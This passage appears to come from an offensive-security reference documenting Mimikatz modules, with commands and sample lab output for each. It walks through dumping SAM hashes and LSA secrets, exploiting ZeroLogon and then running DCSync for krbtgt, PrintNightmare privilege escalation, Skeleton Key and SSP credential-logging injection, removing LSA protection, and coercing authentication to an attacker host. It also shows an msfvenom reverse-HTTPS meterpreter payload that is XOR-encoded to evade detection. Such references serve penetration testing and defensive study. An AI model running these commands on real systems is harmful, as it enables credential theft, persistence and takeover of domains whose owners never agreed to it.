DC machine account password. {% endhint %} ``` mimikatz # lsadump::postzerologon /target:192.168.0.10 /account:dc$ ``` # rpdata `lsadump::RpData` can retrieve private data (*at the time of writing, Nov 1st 2021, we have no idea what this does or refers to* :man\_shrugging:). It has the following command line arguments: * `/export` * `/secret` * `/name` * `/system` {% hint style="warning" %} This command requires elevated privileges (by previously running [privilege::debug](https://tools.thehacker.recipes/mimikatz/modules/privilege/debug) or by executing Mimikatz as the `NT-AUTHORITY\SYSTEM` account). {% endhint %} ``` mimikatz # lsadump::RpData ``` # sam `lsadump::sam` dumps the local Security Account Manager (SAM) NT hashes (cf. [SAM secrets dump](https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets)). It can operate directly on the target system, or offline with registry hives backups (for `SAM` and `SYSTEM`). It has the following command line arguments: * `/sam`: the offline backup of the SAM hive * `/system`: the offline backup of the SYSTEM hive {% hint style="info" %} LM and NT hashes are used to authenticate accounts using the NTLM protocol. These hashes are often called NTLM hash and many documentations, resources, blogpost and tools mix terms. In this case, "NTLM" refers to the NT hash. ([more information](https://www.thehacker.recipes/ad/movement/ntlm)) {% endhint %} {% hint style="warning" %} This command requires elevated privileges (by previously running [privilege::debug](https://tools.thehacker.recipes/mimikatz/modules/privilege/debug) or by executing Mimikatz as the `NT-AUTHORITY\SYSTEM` account). {% endhint %} ### Dumping the target ``` mimikatz # lsadump::sam Domain : DC SysKey : 7852ea75b3b8c4093fbda3f618a045bb Local SID : S-1-5-21-97532702-2134717100-614679475 SAMKey : 7a87c9ff42815d7d1cead9fe84db22ba RID : 000001f4 (500) User : Administrator Hash NTLM: 4d01f91984530f183381bdf5f0605f63 RID : 000001f5 (501) User : Guest RID : 000001f7 (503) User : DefaultAccount ``` ### Offline dumping At first a backup of`SYSTEM` and `SAM` hives must be obtained: ```powershell reg save HKLM\SYSTEM system.hive reg save HKLM\SAM sam.hive ``` A Volume Shadow Copy / BootCD can also be used to backup these files: ``` C:\Windows\System32\config\SYSTEM C:\Windows\System32\config\SAM ``` Then the saved backups of `SYSTEM` and `SAM` hives can also be used offline: ``` mimikatz # lsadump::sam /system:system.hive /sam:sam.hive ``` # secrets `lsadump::secrets` can be used to [dump LSA secrets](https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets) from the registries. It retrieves the `SysKey` to decrypt `Secrets` entries. It has the following command line arguments: * `/system` : The `SYSTEM` hive * `/security` : The `SECURITY` hive The registry key for the LSA secrets is `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets`. {% hint style="info" %} LM and NT hashes are used to authenticate accounts using the NTLM protocol. These hashes are often called NTLM hash and many documentations, resources, blogpost and tools mix terms. In this case, "NTLM" refers to the NT hash. ([more information](https://www.thehacker.recipes/ad/movement/ntlm)) {% endhint %} {% hint style="warning" %} This command requires elevated privileges (by previously running [privilege::debug](https://tools.thehacker.recipes/mimikatz/modules/privilege/debug) or by executing Mimikatz as the `NT-AUTHORITY\SYSTEM` account). {% endhint %} ``` mimikatz # lsadump::secrets Domain : WIN10 SysKey : 7e6804db6db0bbc15372ddf840962151 Local name : WIN10 ( S-1-5-21-1604892360-3618202543-1602915806 ) Domain name : hacklab ( S-1-5-21-2725560159-1428537199-2260736313 ) Domain FQDN : hacklab.local Policy subsystem is : 1.18 LSA Key(s) : 1, default {9b57ea93-9de6-5d50-0497-034513ddc692} [00] {9b57ea93-9de6-5d50-0497-034513ddc692} 62dd3714cc6d8e08f2c90bb18d949eb4e7fddb2478342640c5dc78a68d165e05 Secret : $MACHINE.ACC cur/hex : 72 63 fe b7 2d bf 2f b3 6c c0 d4 f4 e7 2c 89 f0 79 9e 58 ee 28 38 90 11 40 57 a6 8a 06 cc 1b 64 6f 0e b7 10 fe 71 22 a5 13 ef 2d fa 9a 8d 77 37 45 10 8f f5 c2 9a b4 ef 39 8d 24 e5 2c ba 56 01 bc ae 1e be 87 bc c2 1d 42 d8 1f a8 a1 89 24 39 2c 0e 0f ce c3 62 9d ed 8a 22 4e 01 42 b9 9e 7f ac 81 d6 49 c6 7e c3 ec a1 3a e4 66 45 49 df 7e 42 34 74 c3 8c 57 3a 73 30 76 ea 3d 71 a0 ae 47 5e 25 fa 1f 01 d8 4b 35 07 5e 2e 3e 91 34 b4 02 76 13 aa 6a 14 44 87 44 9b 53 eb df 29 55 e0 bb 45 4d d9 cb 72 d2 ef 56 da 79 a0 05 bb f6 3c a4 5e 1f 0e 15 09 28 53 cc 3e fd 76 ea 29 64 97 21 c7 77 44 9e 36 6c 97 02 0c 06 7f ee 42 c4 44 c9 d8 d2 d4 7f fb 2f 80 23 75 da 3c 1a 3e 20 49 5c 94 68 63 cd 98 c5 30 90 b0 3c e4 3c 1b 29 0e fb NTLM:18a5bde65ac97f8c222214e61858218b SHA1:c88180373af4910b62c11c00d534de676bd8047b old/text: 8us/0-5sE3:_bd4\B+nEqpI#j,[avKJ'7l5RpDew]EEXya=tZq7g,jAifx%-sgv)Seto+@aPtf];gmb=gSE4K?"D\B+ CBW>vD5*/k71q'iI#V4$otG4t9R[ NTLM:2c60cae5c83d27b349e98662de463dfc SHA1:fd6e6c6616156dac734f87d1eec386fa29537d89 Secret : DefaultPassword Secret : DPAPI_SYSTEM cur/hex : 01 00 00 00 2e f9 1d 55 e4 48 9b 62 c5 b6 fc da 08 59 8e 8c 9c b7 66 0e 72 a3 f9 7f 1c 35 ee d8 7f 47 c0 5e 3a 82 91 19 58 7f 24 77 full: 2ef91d55e4489b62c5b6fcda08598e8c9cb7660e72a3f97f1c35eed87f47c05e3a829119587f2477 m/u : 2ef91d55e4489b62c5b6fcda08598e8c9cb7660e / 72a3f97f1c35eed87f47c05e3a829119587f2477 old/hex : 01 00 00 00 2f 0f f4 5b 22 a8 e6 67 5b d9 49 c7 1d 21 ca aa 2a 11 59 bb 9f f3 b2 2a f3 13 e8 0a 0e 60 d3 4b 9e cc 6d 43 89 fd 17 86 full: 2f0ff45b22a8e6675bd949c71d21caaa2a1159bb9ff3b22af313e80a0e60d34b9ecc6d4389fd1786 m/u : 2f0ff45b22a8e6675bd949c71d21caaa2a1159bb / 9ff3b22af313e80a0e60d34b9ecc6d4389fd1786 Secret : NL$KM cur/hex : ae d1 f5 13 aa 67 ca 20 e6 8c a6 71 99 45 fe 0a b9 c8 3f e0 00 4d 0c a5 6b 1c 32 70 39 cf ee e8 f2 88 ff 54 fd a2 4f bd 07 be d6 ab 5d cb 2e bb 2a 0d ba c3 ae 92 d5 68 16 c2 f0 1c 53 52 2f 1d old/hex : ae d1 f5 13 aa 67 ca 20 e6 8c a6 71 99 45 fe 0a b9 c8 3f e0 00 4d 0c a5 6b 1c 32 70 39 cf ee e8 f2 88 ff 54 fd a2 4f bd 07 be d6 ab 5d cb 2e bb 2a 0d ba c3 ae 92 d5 68 16 c2 f0 1c 53 52 2f 1d ``` ### Offline Dumping At first the `SYSTEM` and `SECURITY` hives must be obtained: ``` reg save HKLM\SYSTEM system.hive reg save HKLM\security security.hive ``` Then the saved backups of `SYSTEM` and `SECURITY` hives can also be used offline: ``` mimikatz # lsadump::secrets /system:system.hive /sam:security.hive ``` # setntlm `lsadump::setntlm` can be used to perform a password reset without knowing the user's current password. It can be useful during an active directory [Access Control (ACL) abuse](https://www.thehacker.recipes/ad/movement/access-controls) scenario. It has the following command line arguments: * `/ntlm`: The new NT hash for the target user * `/user`: The username of the account to target * `/password`: The new password for the target user * `/server`: hostname of the target server {% hint style="info" %} LM and NT hashes are used to authenticate accounts using the NTLM protocol. These hashes are often called NTLM hash and many documentations, resources, blogpost and tools mix terms. In this case, "ntlm" refers to the NT hash. ([more information](https://www.thehacker.recipes/ad/movement/ntlm)) {% endhint %} ### Reset for a Domain User ``` mimikatz # lsadump::setntlm /user:optimus /password:VeryStrongPass1! /server:dc.hacklab.local NTLM : 7cb0b13a4661116dd2c306fb2f4536b2 Target server: dc.hacklab.local Target user : optimus Domain name : hacklab Domain SID : S-1-5-21-2725560159-1428537199-2260736313 User RID : 1732 >> Informations are in the target SAM! ``` ### Reset for a Local User ``` mimikatz # lsadump::setntlm /user:Administrator /password:Super_SecretPass1! /server:Win10.hacklab.local NTLM : b09a14d2d325026f8986d4a874fbcbc7 Target server: Win10.hacklab.local Target user : Administrator Domain name : WIN10 Domain SID : S-1-5-21-1604892360-3618202543-1602915806 User RID : 500 >> Informations are in the target SAM! ``` # trust `lsadump::trust` can be used for dumping the forest trust keys. Forest trust keys can be leveraged for forging inter-realm trust tickets. Since most of the EDRs are paying attention to the KRBTGT hash, this is a stealthy way to compromise forest trusts. {% hint style="warning" %} This command requires elevated privileges (by previously running [privilege::debug](https://tools.thehacker.recipes/mimikatz/modules/privilege/debug) or by executing Mimikatz as the `NT-AUTHORITY\SYSTEM` account). {% endhint %} ``` mimikatz # lsadump::trust /patch Current domain: CORP.LAB.LOCAL (corp / S-1-5-21-1874506631-3219952063-538504511) Domain: EXTERNAL.LOCAL (external / S-1-5-21-280534878-1496970234-700767426) [ In ] CORP.LAB.LOCAL -> EXTERNAL.LOCAL * aes256_hmac 6994cc6cd1b99bd3869685d14af347e955e9e043f2116ca1665f371efe48fab6 * aes128_hmac feeeb865b37c281b21cfa00aee1da71b * rc4_hmac_nt 6f9e27669d07b6c7f539c5f6e7fd9f57 [ Out ] EXTERNAL.LOCAL -> CORP.LAB.LOCAL * aes256_hmac f3417d40bb3e6f2c585e0cb00cf36444b6ebf293407103ca25d8b0650219d82d * aes128_hmac 8687ec2ba8ec3e8d8c6e89e94b87792c * rc4_hmac_nt d3b3645b2c8efd19794dfae2dfa6946e [ In-1] CORP.LAB.LOCAL -> EXTERNAL.LOCAL * aes256_hmac cec1143242386747b41ea21b071bfa2b211c184699c57cc69bd3f43da57bfef6 * aes128_hmac 8668ebdcb5b9349b6c279ca9cd421a60 * rc4_hmac_nt 4a49505568b59490b41724ce676978e5 [Out-1] EXTERNAL.LOCAL -> CORP.LAB.LOCAL * aes256_hmac 9304fef5575424542d1c6cdda1920927cb55df8c203079b51e4e2cfc1cab0d4b * aes128_hmac 4cc55daa23d585257ab877914ea42968 * rc4_hmac_nt a2639f30fa151b45696631b80f57f4e6 ``` # zerologon `lsadump::zerologon` detects and exploits the [ZeroLogon](https://www.thehacker.recipes/ad/movement/netlogon/zerologon) vulnerability. It has the following command line arguments: * `/account`: the target DC SamAccountName * `/target`: the target DC FQDN * `/exploit`: proceed with exploitation * `/null`: null session authentication * `/ntlm`: use NTLM authentication * `/type`: The Secure Channel Types. The available values are: * Null * MsvAp * Workstation * TrustedDnsDomain * TrustedDomainUasServer * Server * CdcServer {% hint style="danger" %} This technique can break the domain's replication services hence leading to massive disruption, running the following "password change" technique is **not advised**. {% endhint %} ### Detection ``` mimikatz # lsadump::zerologon /target:dc.hacklab.local /account:dc$ [rpc] Remote : dc.hacklab.local [rpc] ProtSeq : ncacn_ip_tcp [rpc] AuthnSvc : NONE (0) [rpc] NULL Sess: no Target : dc.hacklab.local Account: dc$ Type : 6 (Server) Mode : detect Trying to 'authenticate'... ============================================================================================================================================================================================================================================= NetrServerAuthenticate2: 0x00000000 * Authentication: OK -- vulnerable ``` ### Exploitation ``` mimikatz # lsadump::zerologon /target:dc.hacklab.local /account:dc$ /exploit [rpc] Remote : dc.hacklab.local [rpc] ProtSeq : ncacn_ip_tcp [rpc] AuthnSvc : NONE (0) [rpc] NULL Sess: no Target : dc.hacklab.local Account: dc$ Type : 6 (Server) Mode : exploit Trying to 'authenticate'... ============================================================================================================================================================================================================================================= NetrServerAuthenticate2: 0x00000000 NetrServerPasswordSet2: 0x00000000 * Authentication: OK -- vulnerable * Set password : OK -- may be unstable ``` A [DCSync](https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync) can then be conducted with [`lsadump::dcsync`](/mimikatz/modules/lsadump/dcsync). ``` mimikatz # lsadump::dcsync /domain:HACKLAB.LOCAL /dc:dc.hacklab.local /user:krbtgt /authuser:dc$ /authdomain:HACKLAB /authpassword:"" /authntlm ``` # misc # aadcookie `misc::aadcookie` can be used to dump the Azure Panel's session cookie from `login.microsoftonline.com`. {% hint style="warning" %} At the time of writing, 16th of November 2021, we do not have access to an Azure VM hence preventing us to provide with more information. {% endhint %} # clip `misc::clip` monitors clipboard. `CTRL+C` stops the monitoring. ``` mimikatz # misc::clip Monitoring ClipBoard...(CTRL+C to stop) ClipData: misc::clip ClipData: mimikatz # mimikatz # misc::clip Monitoring ClipBoard...(CTRL+C to stop) ClipData: ``` {% hint style="warning" %} Tests on Windows 10 Enterprise 1903 and 20H2, indicated this didn't work. {% endhint %} # compress `misc::compress` performs a self compression of mimikatz. ![Self compression](/files/oFIknoTPkDv6VNtXLUIw) # cmd `misc::cmd` launches the command prompt. ![Launch cmd.exe](/files/8tmqVvRs4udpSgayh2CT) # detours `misc::detours` is experimental and it tries to enumerate all modules with [Detours-like hooks](https://www.codeproject.com/Articles/30140/API-Hooking-with-MS-Detours). ``` mimikatz # misc::detours Registry (92) ERROR kuhl_m_misc_detours_callback_process ; OpenProcess (0x00000005) smss.exe (404) ERROR kuhl_m_misc_detours_callback_process ; OpenProcess (0x00000005) csrss.exe (500) ERROR kuhl_m_misc_detours_callback_process ; OpenProcess (0x00000005) csrss.exe (620) ERROR kuhl_m_misc_detours_callback_process ; OpenProcess (0x00000005) wininit.exe (632) ERROR kuhl_m_misc_detours_callback_process ; OpenProcess (0x00000005) winlogon.exe (688) services.exe (764) ERROR kuhl_m_misc_detours_callback_process ; OpenProcess (0x00000005) lsass.exe (784) svchost.exe (896) fontdrvhost.exe (920) fontdrvhost.exe (928) svchost.exe (1012) svchost.exe (280) LogonUI.exe (448) dwm.exe (860) svchost.exe (1048) svchost.exe (1092) svchost.exe (1100) svchost.exe (1108) svchost.exe (1216) ...Output Omitted... ``` # easyntlmchall Something related to NTLM challenge-response :man\_shrugging:. The supported version seems to be up to `WIN_BUILD_10_1709`. ``` mimikatz # misc::easyntlmchall ``` # efs `misc::efs` is Mimikatz's implementation of the [MS-EFSR abuse (PetitPotam)](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-efsr), an authentication coercion technique. It has the following command line arguments: * `/authuser`: the [User Principal Name](https://kb.iu.edu/d/atzp) (UPN). By default it uses the current user's token * `/authpassword`: the password of the user. * `/noauth`: use null session * `/endpoint`: the RPC endpoint. By default is uses `\pipe\lsarpc` * `/server` or `/target`: the target server * `/connect` or `/callback`: the unconstrained delegation server, or other host with Responder, etc. ``` mimikatz # misc::efs /server:dc.hacklab.local /connect:192.168.0.18 /noauth [auth ] None [ rpc ] Endpoint: \pipe\lsarpc [trans] Disconnect eventual IPC: OK [trans] Connect to IPC: OK [ rpc ] Resolve Endpoint: OK Remote server reported bad network path! (OK) > Server (dc.hacklab.local) may have tried to authenticate (to: 192.168.0.18) [trans] Disconnect IPC: OK ``` For more information on how to exploit this, see The Hacker Recipes. It can be used to NTLM relay attacks, NTLM capture, etc. {% embed url="" %} # lock `misc::lock` locks the screen. It can come in handy with [`misc::memssp`](/mimikatz/modules/misc/memssp). It has the following command line argument: * `/process`: Default one is **explorer.exe** ``` mimikatz # misc::lock ``` # memssp `misc::memssp` patches LSASS by injecting a new Security Support Provider (a DLL is registered). Then the credentials of all the users authenticating after the injection will be logged. It can also be utilised when [Credential Guard](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage) is configured. {% hint style="info" %} This command requires elevated privileges (by previously running [`privilege::debug`](/mimikatz/modules/privilege/debug) or by executing Mimikatz as the `NT-AUTHORITY\SYSTEM` account). {% endhint %} ``` mimikatz # misc::memssp Injected =) ``` If operating from a non-GUI session, then the following command can be used to lock the screen (the [`misc::lock`](/mimikatz/modules/misc/lock) can also be used): ``` rundll32.exe user32.dll,LockWorkStation ``` When a user authenticates again, the credentials will be saved to `C:\Windows\System32\mimilsa.log`. ![mimilsa.log](/files/Vw3WjHEi8Ge1iglIF3Fy) {% hint style="info" %} After rebooting the system, the SSP injection will be cleared. {% endhint %} # mflt `misc::mflt` identifies Windows minifilters inside mimikatz, without using **fltmc.exe**. It can also assist in fingerprinting security products, by altitude too (Gathers details on loaded drivers, including driver altitude). {% hint style="info" %} This command requires elevated privileges (by previously running [`privilege::debug`](/mimikatz/modules/privilege/debug) or by executing Mimikatz as the `NT-AUTHORITY\SYSTEM` account). {% endhint %} ``` mimikatz # misc::mflt 0 1 409800 bindflt 0 7 328010 WdFilter 0 0 244000 storqosflt 0 0 189900 wcifs 0 0 180451 CldFlt 0 0 141100 FileCrypt 0 1 135000 luafv 0 1 46000 npsvctrig 0 6 40700 Wof 0 7 40500 FileInfo ``` # ncroutemon `misc::ncroutemon` displays Juniper network connect (without route monitoring). ``` mimikatz # misc::ncroutemon ``` # ngcsign `misc::ngcsign` can be used to dump the NGC key (Windows Hello keys) signed with the symmetric pop key. {% hint style="warning" %} At the time of writing, 16th of November 2021, we do not have access to an Azure VM hence preventing us to provide with more information. {% endhint %} # printnightmare `misc::printnightmare` can be used to exploit the [PrintNightMare](https://adamsvoboda.net/breaking-down-printnightmare-cve-2021-1675/) vulnerability in both \[[MS-RPRN RpcAddPrinterDriverEx](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b)] and \[[MS-PAR AddPrinterDriverEx](https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex)]. The bug was discovered by Zhiniang Peng ([@edwardzpeng](https://twitter.com/edwardzpeng?lang=en)) & Xuefeng Li ([@lxf02942370](https://twitter.com/lxf02942370?lang=en)). The MS-PAR function was discovered by [cube0x0](https://twitter.com/cube0x0). It has the following command line arguments: * `/server`: the target server or workstation to exploit * `/x64` or `/win64`: the target server or workstation is 64 bit * `/x86` or `/win32`: the target server or workstation is 32 bit * `/library`: the DLL to use during exploitation * `/authuser`: the username to use during exploitation * `/authdomain`: the active directory domain * `/authpassword`: the password of the user * `/clean`: clean-up the operation The following example demonstrates local privilege escalation through printnightmare. As can be seen, the `test` user is not part of the local administrators group on the ***Win10.hacklab.local*** machine: ``` PS C:\Users\m3g9tr0n> net user User accounts for \\WIN10 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest test vs2022 WDAGUtilityAccount The command completed successfully. PS C:\Users\m3g9tr0n> net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator hacklab\Domain Admins hacklab\m3g9tr0n vs2022 The command completed successfully. ``` After successful exploitation of printnightmare: ``` mimikatz # misc::printnightmare /library:C:\Users\Public\DLL.dll [ms-rprn/ncalrpc] local > RpcGetPrinterDriverDirectory: C:\Windows\system32\spool\DRIVERS\x64 | mimikatz-{55911f3b-474e-4b31-bb55-a2a6b4fc1e76}-legitprinter / Windows x64 - 0x00008018 - C:\Users\Public\DLL.dll > RpcAddPrinterDriverEx: OK! > RpcDeletePrinterDriverEx: OK! ``` The test user is now part of the local administrators group: ``` PS C:\Users\m3g9tr0n> net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator hacklab\Domain Admins hacklab\m3g9tr0n test vs2022 The command completed successfully. ``` For remote exploitation, the following can be used: ``` mimikatz # misc::printnightmare /server:dc.hacklab.local /library:\\win10.hacklab.local\smb\x64\mimilib.dll /authuser:optimus /authpassword:Super_SecretPass1! /authdomain:hacklab.local ``` With the [UNC path bypass](https://twitter.com/gentilkiwi/status/1412771368534528001?s=20): ``` mimikatz # misc::printnightmare /server:dc.hacklab.local /library:\??\UNC\win10.hacklab.local\smb\x64\mimilib.dll /authuser:optimus /authpassword:Super_SecretPass1! /authdomain:hacklab.local ``` # regedit `misc::regedit` launches the registry editor. ![Windows Registry](/files/9B8nHz9tEBOunthkxudW) # sccm `misc::sccm` decrypts the password field in the `SC_UserAccount` table in the SCCM database. According to Benjamin (gentilkiwi), the passwords are encrypted with the key embedded in the value (3DES if encounter `0x6603` \*\*\*\* at offset `0x0c`). This key is protected by the `Microsoft Systems Management Server` RSA key but there are many other things like `global secret`, `exchange cert`*,* and some PFX sometimes. It has the following command line arguments: * `keyuser`: the specific user to target * `keycontainer`: the exported private key * `connectionstring`: an example is \_\_ `DRIVER={SQL Server};Trusted=true;DATABASE=CM_PRD;SERVER=myserver.fqdn\instancename;`. {% hint style="info" %} This command requires elevated privileges (by previously running [`privilege::debug`](/mimikatz/modules/privilege/debug) or by executing Mimikatz as the `NT-AUTHORITY\SYSTEM` account). {% endhint %} {% hint style="info" %} Based on [Benjamin's suggestion](https://twitter.com/gentilkiwi/status/1399826927112830979?s=20) `misc::sccm` can be run: * on the SCCM server (with original private key on system and DB access) * on another system (with private key exported and exported DB - or original) {% endhint %} The following image was borrowed from [this tweet](https://twitter.com/gentilkiwi/status/1392204021461569537): ![Decrypt passwords in the SCCM database](/files/TFrcHurA8SbwqJyb0xSr) # shadowcopies `misc::shadowcopies` is used to list the available shadow copies on the system. The hivenightmare/serious sam vulnerability was discovered by [JonasLyk](https://twitter.com/jonasLyk/status/1417205166172950531). According to [Will Dormann](https://twitter.com/wdormann),`Builtin\Users` had `RX` access to the SAM, somewhere between Windows 10 1803 and 1809, hence allowing regular users to operate [SAM dumping](https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets). ![Win10 1809 SAM file ACLs](/files/HNpH19eNwJxFSdre0cdD) ![Win10 1090 SAM file ACLs](/files/XZYiYU2ilPThuujNOcfW) ![Win 10.0.19043.1110 (21H1) SAM file ACLs](/files/ysTSsZhrSHaOkkWbRRgm) ``` mimikatz # misc::shadowcopies ShadowCopy Volume : HarddiskVolumeShadowCopy12 | Path : \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\ | Volume LastWrite: 13/10/2021 10:12:09 * \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\Windows\System32\config\SYSTEM | LastWrite : 20/10/2021 15:07:53 * \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\Windows\System32\config\SAM | LastWrite : 20/10/2021 15:07:53 * \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\Windows\System32\config\SECURITY | LastWrite : 20/10/2021 15:07:53 * \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\Windows\System32\config\SOFTWARE | LastWrite : 20/10/2021 15:09:00 ...Output Omitted... ``` The then [`lsadump::sam`](/mimikatz/modules/lsadump/sam) can be used by defining the shadow copies paths for `/sam` and `/system`. # skeleton `misc::skeleton` injects a "[Skeleton Key](https://www.thehacker.recipes/ad/persistence/skeleton-key)" into the LSASS process on the domain controller. A "master password" can then be used to authenticate as any domain user, while domain users can authenticate with their own password. The default skeleton key password is `mimikatz`**.** The command has the following argument: * `/letaes` {% hint style="info" %} This command requires elevated privileges (by previously running [`privilege::debug`](/mimikatz/modules/privilege/debug) or by executing Mimikatz as the `NT-AUTHORITY\SYSTEM` account). {% endhint %} ``` mimikatz # misc::skeleton ``` If the LSA protection is enabled, then the following commands can be used to remove it. ``` mimikatz # !+ mimikatz # !processprotect /process:lsass.exe /remove ``` More information on the Skeleton Key attack on The Hacker Recipes. {% embed url="" %} # spooler `misc::spooler` is Mimikat's implementation of the [MS-RPRN abuse (PrinterBug)](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-rprn), an authentication coercion technique. It has the following command line arguments: * `/authuser`: the [User Principal Name (UPN)](https://kb.iu.edu/d/atzp). By default it uses the current user's token * `/authpassword`: the password of the user * `/noauth`: use null session * `/endpoint`: the RPC endpoint. By default is uses `\pipe\spoolss` * `/server` or `/target`: the target server * `/connect` or `/callback`: the remote host the target should connect to (attacker host) ``` mimikatz # misc::spooler /connect:win2019.hacklab.local /server:dc.hacklab.local [auth ] Default (current) [ rpc ] Endpoint: \pipe\spoolss [trans] Disconnect eventual IPC: OK [trans] Connect to IPC: OK [ rpc ] Resolve Endpoint: OK Access is denied (can be OK) [trans] Disconnect IPC: OK ``` For more information on how to exploit this, see The Hacker Recipes. It can be used to NTLM relay attacks, NTLM capture, etc. {% embed url="" %} # taskmgr `misc::taskmgr` launches the task manager. ![Task Manager](/files/8FDOY7vNhgC8pfiBBLbZ) # wp `misc::wp` sets up a wallpaper. It has the following command line arguments: * `/process`: Default one is explorer.exe * `/file`: The wallpaper to set ``` mimikatz # misc::wp /file: ``` # xor `misc::xor` performs XOR decoding/encoding on a provided file with `0x42` default key. It has the following command line arguments: * `/input`: the file to XOR encode * `/output`: the file to save the results * `/xor`: they XOR key The following example XOR encodes a metasploit generated shellcode: ``` msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f raw -o mimi.bin ``` ``` mimikatz # misc::xor /input:mimi.bin /output:mimi-xor.bin Input : mimi.bin Output: mimi-xor.bin Xor : 0x42 Opening: OK Writing: OK ``` Provide an XOR encoding key: ``` mimikatz # misc::xor /input:mimi.bin /output:mimi-xor.bin /xor:0x40 Input : mimi.bin Output: mimi-xor.bin Xor : 0x40 Opening: OK Writing: OK ``` # net The net module of Mimikatz # alias `net::alias` displays more information about the local group memberships including Remote Desktop Users, Distributed COM Users, etc. ``` mimikatz # net::alias Domain name : Builtin Domain SID : S-1-5-32 579 Access Control Assistance Operators 544 Administrators | S-1-5-21-1604892360-3618202543-1602915806-500 | S-1-5-21-1604892360-3618202543-1602915806-1003 | S-1-5-21-2725560159-1428537199-2260736313-512 | S-1-5-21-2725560159-1428537199-2260736313-1730 551 Backup Operators 569 Cryptographic Operators 583 Device Owners 562 Distributed COM Users 573 Event Log Readers 546 Guests | S-1-5-21-1604892360-3618202543-1602915806-501 578 Hyper-V Administrators 568 IIS_IUSRS | S-1-5-17 556 Network Configuration Operators 559 Performance Log Users | S-1-5-21-1604892360-3618202543-1602915806-1003 | S-1-5-4 558 Performance Monitor Users 547 Power Users 555 Remote Desktop Users 580 Remote Management Users 552 Replicator 581 System Managed Accounts Group | S-1-5-21-1604892360-3618202543-1602915806-503 545 Users | S-1-5-4 | S-1-5-11 | S-1-5-21-2725560159-1428537199-2260736313-513 Domain name : WIN10 Domain SID : S-1-5-21-1604892360-3618202543-1602915806 ``` # deleg `net::deleg` checks for the following types of [Kerberos delegations](https://www.thehacker.recipes/ad-ds/movement/kerberos/delegations) * Unconstrained Delegation (`TRUSTED_FOR_DELEGATION`) * Constrained Delegation (`TRUSTED_TO_AUTH_FOR_DELEGATION`, set with the `msDS-Allowed-To-Delegate-To`attribute) * Resource Based Constrained Delegation (set with the `msDS-Allowed-To-Act-On-Behalf-Of-Another-Identity` attribute) It has the following command line arguments: * `/dns`: the active directory domain to query * `/server`: The domain controller to query. If not specified it will query the DC of the current domain ``` mimikatz # net::deleg CN=Win2019,OU=Servers,DC=hacklab,DC=local objectGUID: {06a4a894-6e0b-41be-952e-f3c3108a1928} userAccountControl: 0x00091000 - WORKSTATION_TRUST_ACCOUNT ; DONT_EXPIRE_PASSWD ; TRUSTED_FOR_DELEGATION ; objectSid: S-1-5-21-1874506631-3219952063-538504511-1128 sAMAccountName: Win2019$ servicePrincipalName: TERMSRV/Win2019 TERMSRV/Win2019.hacklab.local WSMAN/Win2019 WSMAN/Win2019.hacklab.local RestrictedKrbHost/Win2019 HOST/Win2019 RestrictedKrbHost/Win2019.hacklab.local HOST/Win2019.hacklab.local ``` # group `net::group` displays the local groups ``` mimikatz # net::group Domain name : Builtin Domain SID : S-1-5-32 Domain name : WIN10 Domain SID : S-1-5-21-1604892360-3618202543-1602915806 513 None | 500 Administrator (User) | 501 Guest (User) | 503 DefaultAccount (User) | 504 WDAGUtilityAccount (User) | 1003 vs2022 (User) ``` # if `net::if` displays the available local IP addresses and the hostname ``` mimikatz # net::if Win10 192.168.0.10 ``` # serverinfo `net::serverinfo` displays information about the logged in server {% tabs %} {% tab title="Win 10" %} ``` mimikatz # net::serverinfo platform_id: 500 name : WIN10 version : 10.0 comment : type : 00001003 - workstation ; server ; nt ; ``` {% endtab %} {% tab title="Win Server 2012R2" %} ``` mimikatz # net::serverinfo platform_id: 500 name : WIN2012-R2 version : 6.3 comment : type : 00009003 - workstation ; server ; nt ; server_nt ; ``` {% endtab %} {% tab title="Win Server 2016 Essentials" %} ``` mimikatz # net::serverinfo platform_id: 500 name : DC version : 10.0 comment : My business server type : 0080102b - workstation ; server ; domain_ctrl ; time_source ; nt ; dfs ; ``` {% endtab %} {% endtabs %} # session `net::session` displays the active sessions through [NetSessionEnum()](https://web.archive.org/web/20201201223201/https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum) Win32 API function. ``` mimikatz # net::session Client : \\192.168.0.224 Username: DC$ Active : 10 Idle : 10 Client : \\192.168.0.11 Username: m3g9tr0n Active : 68960 Idle : 68960 ``` --- [Next Page](/llms-full.txt/1)